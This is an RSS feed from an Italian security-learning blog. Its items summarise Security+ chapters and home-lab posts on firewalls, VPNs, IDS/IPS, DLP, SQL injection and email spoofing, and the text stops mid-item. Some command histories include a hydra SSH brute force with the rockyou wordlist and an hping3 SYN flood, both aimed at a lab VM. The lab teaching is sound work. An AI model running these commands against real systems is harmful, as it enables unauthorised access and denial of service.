<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>u-random</title><link>https://u-random.dev/</link><description>Recent content on u-random</description><generator>Hugo -- gohugo.io</generator><language>it-it</language><lastBuildDate>Tue, 09 Jun 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://u-random.dev/index.xml" rel="self" type="application/rss+xml"/><item><title>Cap 07 - Protecting Against Advanced Attacks</title><link>https://u-random.dev/dump/certificazioni/security-plus/libro/cap-07-advanced-attacks/</link><pubDate>Tue, 09 Jun 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/dump/certificazioni/security-plus/libro/cap-07-advanced-attacks/</guid><description>Attacchi di rete avanzati (SYN flood, DNS attacks, on-path, replay) e secure coding: input validation, injection, memory vulnerabilities, XSS, code signing, scripting sicuro. Cap 7 Gibson SY0-701.</description></item><item><title>Cisco Packet Tracer: La Rete che Protegge Se Stessa</title><link>https://u-random.dev/blog/cisco-packet-tracer-la-rete-che-protegge-se-stessa/</link><pubDate>Mon, 08 Jun 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/cisco-packet-tracer-la-rete-che-protegge-se-stessa/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;Una DMZ e' una zona di mezzo: esposta verso internet, isolata dalla LAN&lt;/li&gt;
&lt;li&gt;Due firewall significa che anche se Sofia/nginx viene compromessa, Giulia/MySQL e' ancora protetta da FW2&lt;/li&gt;
&lt;li&gt;Su ASA il traffico da security-level basso verso alto e' bloccato per default - non serve scrivere nessuna regola di blocco&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;nameif&lt;/code&gt; - assegna nome logico all'interfaccia ASA (outside, dmz, inside)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;security-level&lt;/code&gt; - livello di fiducia: 0=esterno, 50=DMZ, 100=LAN&lt;/li&gt;
&lt;li&gt;&lt;code&gt;route outside 0.0.0.0 0.0.0.0 x.x.x.x&lt;/code&gt; - default route su ASA&lt;/li&gt;
&lt;li&gt;&lt;code&gt;show nameif&lt;/code&gt; - interfacce ASA con security level&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;hr&gt;

&lt;h2 class="relative group"&gt;Perche' questo lab
 &lt;div id="perche-questo-lab" class="anchor"&gt;&lt;/div&gt;
 
 &lt;span
 class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"&gt;
 &lt;a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#perche-questo-lab" aria-label="Anchor"&gt;#&lt;/a&gt;
 &lt;/span&gt;
 
&lt;/h2&gt;
&lt;p&gt;corsobitcoin.com e' una piattaforma di corsi online. Ha iscritti, sessioni, video, dati di pagamento.&lt;/p&gt;</description></item><item><title>Cisco Packet Tracer: Cinque Router, Una Catena, Nessun GPS</title><link>https://u-random.dev/blog/cisco-packet-tracer-cinque-router/</link><pubDate>Sun, 07 Jun 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/cisco-packet-tracer-cinque-router/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;Un router conosce solo le reti a cui e' direttamente collegato. Tutto il resto va detto esplicitamente con rotte statiche&lt;/li&gt;
&lt;li&gt;Ogni router ha piu' IP - uno per ogni interfaccia. &amp;quot;Marco e' 10.0.0.2&amp;quot; e' incompleto: Marco e' anche 10.10.10.1&lt;/li&gt;
&lt;li&gt;Le rotte statiche funzionano come indicazioni stradali: &amp;quot;se vuoi andare la', chiedi a lui&amp;quot;&lt;/li&gt;
&lt;li&gt;Se manca una rotta il pacchetto si ferma - il TTL serve esattamente per questo&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ip route [rete] [maschera] [next-hop]&lt;/code&gt; - aggiunta rotta statica&lt;/li&gt;
&lt;li&gt;&lt;code&gt;show ip route&lt;/code&gt; - tabella di routing corrente&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ping [ip]&lt;/code&gt; - test connettivita' end-to-end&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;hr&gt;
&lt;p&gt;Prima di toccare Linux voglio vedere il routing con gli occhi. In Linux i namespace sono invisibili - sono processi, non oggetti fisici. In Cisco Packet Tracer posso vedere i router come scatole, i cavi come linee, e guardare i pacchetti muoversi.&lt;/p&gt;</description></item><item><title>Cap 06 - Threat Actors, Malware &amp; Common Attacks</title><link>https://u-random.dev/dump/certificazioni/security-plus/libro/cap-06-threat-actors-malware/</link><pubDate>Thu, 04 Jun 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/dump/certificazioni/security-plus/libro/cap-06-threat-actors-malware/</guid><description>Chi attacca, come attacca e con cosa: threat actors e loro motivazioni, vettori di attacco (message/file/supply chain), tipi di malware (ransomware, trojan, worm, rootkit, botnet), e basi del vulnerability management. Cap 6 Gibson SY0-701.</description></item><item><title>DLP e Wazuh</title><link>https://u-random.dev/blog/dlp-e-wazuh/</link><pubDate>Thu, 04 Jun 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/dlp-e-wazuh/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DLP fatto in casa&lt;/strong&gt;: con 50 righe di Python e &lt;code&gt;inotify&lt;/code&gt; monitoriamo in tempo reale la scrittura di file sensibili.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pattern matching&lt;/strong&gt;: uno switch &lt;code&gt;match/case&lt;/code&gt; in Python 3.10+ intercetta SSN, carte di credito e codici fiscali.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Wazuh in Docker&lt;/strong&gt;: integrazione con il manager tramite regole custom, superando i limiti di permessi e decodificatori.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tre errori reali&lt;/strong&gt;: come risolvere il blocco PEP 668 su Ubuntu 24.04, i permessi di &lt;code&gt;docker cp&lt;/code&gt; e l'errore del decoder &lt;code&gt;syslog&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;python3 -m venv ~/dlp-venv&lt;/li&gt;
&lt;li&gt;source ~/dlp-venv/bin/activate&lt;/li&gt;
&lt;li&gt;pip install inotify&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/docker/" &gt;docker&lt;/a&gt; cp single-node-wazuh.manager-1:/var/ossec/etc/rules/local_rules.xml ./local_rules.xml&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/docker/" &gt;docker&lt;/a&gt; exec single-node-wazuh.manager-1 chown wazuh:wazuh /var/ossec/etc/rules/local_rules.xml&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/tail/" &gt;tail&lt;/a&gt; -f /var/log/syslog&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;p&gt;Apro la dashboard Wazuh. Nella colonna &lt;code&gt;full_log&lt;/code&gt; c'è scritto:&lt;/p&gt;</description></item><item><title>iptables - Linux Packet Filtering</title><link>https://u-random.dev/comandi/iptables/</link><pubDate>Thu, 04 Jun 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/iptables/</guid><description>Firewall nativo del kernel Linux. Gestisce il traffico di rete tramite chain (INPUT, OUTPUT, FORWARD) e tabelle (filter, nat, mangle). UFW e nftables sono frontend/successori.</description></item><item><title>ESP cifra, AH no: IPsec visto dal vivo</title><link>https://u-random.dev/blog/ipsec-strongswan-esp-ah/</link><pubDate>Sat, 30 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/ipsec-strongswan-esp-ah/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;IPsec Suite:&lt;/strong&gt; Una suite di protocolli di rete sicuri (IKE + ESP + AH) implementata a livello IP per garantire autenticazione, integrità e riservatezza.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IKE (Internet Key Exchange):&lt;/strong&gt; Negozia gli algoritmi di sicurezza e stabilisce le Security Association (SA) scambiando chiavi tramite Diffie-Hellman (UDP 500/4500).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ESP (Encapsulating Security Payload):&lt;/strong&gt; Cifra il payload dei pacchetti (ad es. con AES-256) garantendo riservatezza ed autenticazione. Supporta il NAT tramite incapsulamento NAT-T.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AH (Authentication Header):&lt;/strong&gt; Firma crittograficamente i pacchetti per garantirne l'integrità, ma &lt;strong&gt;non cifra il payload&lt;/strong&gt;, lasciando i dati in chiaro ed esposti allo sniffing.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tunnel vs Transport:&lt;/strong&gt; Tunnel mode cifra l'intero pacchetto originale aggiungendo un nuovo header IP (ideale per VPN Site-to-Site); Transport mode cifra solo il payload (ideale per host-to-host).&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;apt install strongswan -y&lt;/li&gt;
&lt;li&gt;ipsec version&lt;/li&gt;
&lt;li&gt;ipsec restart&lt;/li&gt;
&lt;li&gt;ipsec up mustache&lt;/li&gt;
&lt;li&gt;ipsec statusall&lt;/li&gt;
&lt;li&gt;tcpdump -i enp0s1 udp port 500&lt;/li&gt;
&lt;li&gt;tcpdump -i enp0s1 proto 50&lt;/li&gt;
&lt;li&gt;tcpdump -i enp0s1 proto 51 -v&lt;/li&gt;
&lt;li&gt;ping 192.168.64.3&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;p&gt;Configurare IPsec host-to-host con StrongSwan e vedere con tcpdump la differenza tra ESP e AH. ESP cifra il payload - AH no. Questa distinzione è una domanda classica Security+ e fondamentale per la sicurezza di rete.&lt;/p&gt;</description></item><item><title>Il Tunnel che Sceglie: Split vs Full VPN con WireGuard</title><link>https://u-random.dev/blog/il-tunnel-che-sceglie/</link><pubDate>Sat, 30 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/il-tunnel-che-sceglie/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;WireGuard:&lt;/strong&gt; VPN moderna basata su Curve25519 e ChaCha20, integrata direttamente nel kernel Linux come interfaccia di rete virtuale (&lt;code&gt;wg0&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VPN Concentrator:&lt;/strong&gt; Il dispositivo (in questo lab Ubuntu) che termina il tunnel cifrato, decifra il traffico e lo instrada verso la rete interna.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Split Tunnel (&lt;code&gt;AllowedIPs = 10.0.0.0/24&lt;/code&gt;):&lt;/strong&gt; Solo il traffico destinato alla subnet della VPN passa nel tunnel; il traffico internet esce in chiaro tramite il gateway locale.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Full Tunnel (&lt;code&gt;AllowedIPs = 0.0.0.0/0&lt;/code&gt;):&lt;/strong&gt; Tutto il traffico, incluso quello internet, viene convogliato nel tunnel cifrato e richiede IP forwarding e MASQUERADE sul concentratore.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Visibilità di rete:&lt;/strong&gt; &lt;code&gt;tcpdump&lt;/code&gt;/&lt;code&gt;tshark&lt;/code&gt; mostrano solo pacchetti UDP cifrati sull'interfaccia fisica (&lt;code&gt;enp0s1&lt;/code&gt;), mentre svelano il traffico ICMP/IP decifrato su quella virtuale (&lt;code&gt;wg0&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;apt install wireguard -y&lt;/li&gt;
&lt;li&gt;wg genkey | tee privatekey | wg pubkey &amp;gt; publickey&lt;/li&gt;
&lt;li&gt;wg-quick up wg0&lt;/li&gt;
&lt;li&gt;wg-quick down wg0&lt;/li&gt;
&lt;li&gt;ip route show&lt;/li&gt;
&lt;li&gt;traceroute 8.8.8.8&lt;/li&gt;
&lt;li&gt;tcpdump -i wg0&lt;/li&gt;
&lt;li&gt;tcpdump -i enp0s1 udp port 51820&lt;/li&gt;
&lt;li&gt;tshark -r capture.pcap&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;p&gt;Configurare un tunnel WireGuard tra due VM e vedere con i propri occhi la differenza tra split tunnel e full tunnel. Non teoria - routing table e traceroute che lo dimostrano empiricamente.&lt;/p&gt;</description></item><item><title>Cap 05 - Securing Hosts and Data</title><link>https://u-random.dev/dump/certificazioni/security-plus/libro/cap-05-securing-hosts-and-data/</link><pubDate>Fri, 29 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/dump/certificazioni/security-plus/libro/cap-05-securing-hosts-and-data/</guid><description>Sette superfici di attacco in un capitolo: virtualizzazione (VM Escape, VM Sprawl, container), hardening endpoint (TPM, HSM, UEFI Secure Boot, patch, baseline), protezione dati (at rest/transit/in use, DLP, FDE, database encryption), cloud (SaaS/PaaS/IaaS shared responsibility, CASB, SWG, IaC, SDN, edge/fog), mobile (BYOD/COPE/CYOD, MDM, jailbreak, sideloading), IoT e sistemi embedded (SoC, RTOS, vincoli), ICS/SCADA (CIA invertita, air-gap, Stuxnet). Cap 5 Gibson SY0-701.</description></item><item><title>Il Kernel Sospende il Giudizio</title><link>https://u-random.dev/blog/suricata-ips-nfqueue/</link><pubDate>Fri, 29 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/suricata-ips-nfqueue/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;IDS (af-packet):&lt;/strong&gt; copia del traffico → Suricata vede tutto, non può bloccare niente → &lt;code&gt;[**]&lt;/code&gt; in fast.log&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IPS (nfqueue):&lt;/strong&gt; traffico originale trattenuto → il kernel aspetta il verdetto → &lt;code&gt;[Drop]&lt;/code&gt; in fast.log&lt;/li&gt;
&lt;li&gt;&lt;code&gt;iptables -I INPUT -j NFQUEUE --queue-num 0&lt;/code&gt; è la singola regola che trasforma il sistema&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fail-open: no&lt;/code&gt; = fail-closed: se Suricata muore, tutto il traffico viene droppato&lt;/li&gt;
&lt;li&gt;Il Docker bridge (&lt;code&gt;br-XXXX&lt;/code&gt;) bypassa NFQUEUE - la SYN-ACK di ritorno viene bloccata e Wazuh si disconnette&lt;/li&gt;
&lt;li&gt;La persistenza al reboot richiede un systemd service dedicato (non &lt;code&gt;iptables-persistent&lt;/code&gt;, che rimuove UFW)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;suricata -T -c /etc/suricata/suricata.yaml -v&lt;/li&gt;
&lt;li&gt;suricata-update&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/concetti/iptables/" &gt;iptables&lt;/a&gt; -I INPUT 1 -j NFQUEUE --queue-num 0&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/concetti/iptables/" &gt;iptables&lt;/a&gt; -L INPUT -n -v --line-numbers&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/nmap/" &gt;nmap&lt;/a&gt; --min-rate 1000 -p 1-1000 192.168.64.3&lt;/li&gt;
&lt;li&gt;hping3 -S --flood 192.168.64.3&lt;/li&gt;
&lt;li&gt;cat /proc/net/tcp&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;hr&gt;
&lt;p&gt;Voglio vedere cosa succede quando Suricata non si limita a guardare il traffico, ma lo blocca davvero.&lt;/p&gt;</description></item><item><title>816 tentativi zero successi</title><link>https://u-random.dev/blog/816-tentativi-zero-successi/</link><pubDate>Wed, 27 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/816-tentativi-zero-successi/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;HIDS&lt;/strong&gt; (Wazuh agent) monitora il singolo host dall'interno - log, file, processi.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SIEM&lt;/strong&gt; (Wazuh manager) raccoglie tutto, correla, genera alert.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HIPS&lt;/strong&gt; (fail2ban) agisce automaticamente dopo la detection - blocca l'IP attaccante.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IDS&lt;/strong&gt; e &lt;strong&gt;IPS&lt;/strong&gt; non sono prodotti diversi: è la stessa categoria, con o senza capacità di blocco.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.64.3 -t 4&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/tail/" &gt;tail&lt;/a&gt; -f /var/log/auth.log&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/tail/" &gt;tail&lt;/a&gt; -f /var/log/fail2ban.log&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;p&gt;Il lab è semplice: Ubuntu con Wazuh, Kali con Hydra, una wordlist da 14 milioni di password. Obiettivo: vedere cosa succede dall'altra parte quando un attaccante tenta il brute force SSH.&lt;/p&gt;</description></item><item><title>IDS e IPS - detection e prevention, host e rete</title><link>https://u-random.dev/concetti/ids-ips/</link><pubDate>Wed, 27 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/ids-ips/</guid><description>IDS rileva, IPS blocca. HIDS/HIPS agiscono sull'host, NIDS/NIPS sulla rete. La differenza inline/non-inline determina quando il blocco avviene.</description></item><item><title>Cap 4 - Securing Your Network</title><link>https://u-random.dev/dump/certificazioni/security-plus/libro/cap-04-securing-your-network/</link><pubDate>Mon, 25 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/dump/certificazioni/security-plus/libro/cap-04-securing-your-network/</guid><description>IDS/IPS, VPN (IPsec/SSL), tunneling, wireless security (WPA2/WPA3), network segmentation avanzata. Cap 4 Gibson SY0-701.</description></item><item><title>Il Campo che Parlava Troppo</title><link>https://u-random.dev/blog/il-campo-che-parlava-troppo/</link><pubDate>Tue, 19 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/il-campo-che-parlava-troppo/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;SQL Injection avviene quando l'input utente viene concatenato direttamente nella query - il DB esegue codice che non dovrebbe&lt;/li&gt;
&lt;li&gt;Un apostrofo nel campo username è spesso sufficiente per rilevare la vulnerabilità&lt;/li&gt;
&lt;li&gt;La difesa corretta è la parameterized query - non l'input validation da sola&lt;/li&gt;
&lt;li&gt;Il WAF può rallentare l'attacco ma non sostituisce il fix nel codice&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;curl -s -X POST url -d &amp;quot;username=test&amp;amp;password=test&amp;quot;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/tshark/" &gt;tshark&lt;/a&gt; -r capture.pcap -Y &amp;quot;http.request.method == POST&amp;quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;p&gt;Mi hanno dato tre ore e un URL. Un'applicazione web interna - gestionale ordini, usato dal reparto commerciale. &amp;quot;Testala. Dimmi cosa non va.&amp;quot;&lt;/p&gt;</description></item><item><title>Il CEO Non Ha Scritto Quella Email</title><link>https://u-random.dev/blog/il-ceo-non-ha-scritto-quella-email/</link><pubDate>Tue, 19 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/il-ceo-non-ha-scritto-quella-email/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;BEC (Business Email Compromise) non richiede malware - basta falsificare il campo &lt;code&gt;From:&lt;/code&gt; in SMTP&lt;/li&gt;
&lt;li&gt;SPF, DKIM e DMARC sono i tre record DNS che rendono verificabile l'identità del mittente&lt;/li&gt;
&lt;li&gt;Un dominio senza questi tre record è impersonabile in cinque minuti da chiunque&lt;/li&gt;
&lt;li&gt;Leggere gli header &lt;code&gt;Received:&lt;/code&gt; di un'email dal basso verso l'alto rivela il percorso reale del messaggio&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
